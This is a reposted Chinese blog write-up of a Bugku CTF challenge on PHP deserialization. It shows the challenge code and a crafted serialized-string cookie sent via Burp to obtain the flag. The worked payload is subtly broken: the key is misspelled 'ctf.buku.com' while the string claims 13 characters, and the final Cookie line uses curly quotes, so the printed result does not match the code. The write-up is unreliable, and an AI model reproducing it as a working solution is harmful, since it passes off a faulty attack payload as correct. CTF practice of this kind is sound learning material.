记一次初学PHP反序列化(Php反序列化)

网友投稿 344 2022-10-01


记一次初学PHP反序列化(Php反序列化)

刚开始学习反序列化,此贴为记录初学的入门级反序列化的CTF题

error_reporting(0); $KEY='ctf.bugku.com'; include_once("flag.php"); $cookie = $_COOKIE['BUGKU']; if(isset($_GET['19737'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; }

$KEY变量为

ctf.bugku.com

​​Include_once​​引用了​​flag.php​​文件(flag就在其中)

$cookie = $_COOKIE['BUGKU']

这里通过从​​COOKIE​​获取参数,​​Cookie​​的值为​​BUGKU​​,最后赋值给​​cookie​​下面进行判断,如果GET获取了19737参数的话就显示源代码,否则再判断,把​​$cookie​​进行反序列化,并且要与​​$KEY​​的值和类型相等,就可以输出​​flag​​了。

首先,我们已经知道了​​$KEY​​的值,所以我们只需要将

ctf.bugku.com

$key = 'ctf.bugku.com'; $a = serialize($key); echo $a; ?>

serialize()函数是将对象序列化成字符unserialize()函数是字符反序列化成对象

得到反序列化结果

s:13:"ctf.buku.com

我们使用​​Burp​​抓包,修改​​cookie​​值,即可看到​​flag​​

这里有个小坑

Cookie:BUGKU=s:13:”ctf.buku.com”;


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:【最新评估报告】最先进的EDR并不完美,无法检测到常见的攻击(EDR检测)
下一篇:使用res:bean属性复制避免null值覆盖版本
相关文章

 发表评论

暂时没有评论,来抢沙发吧~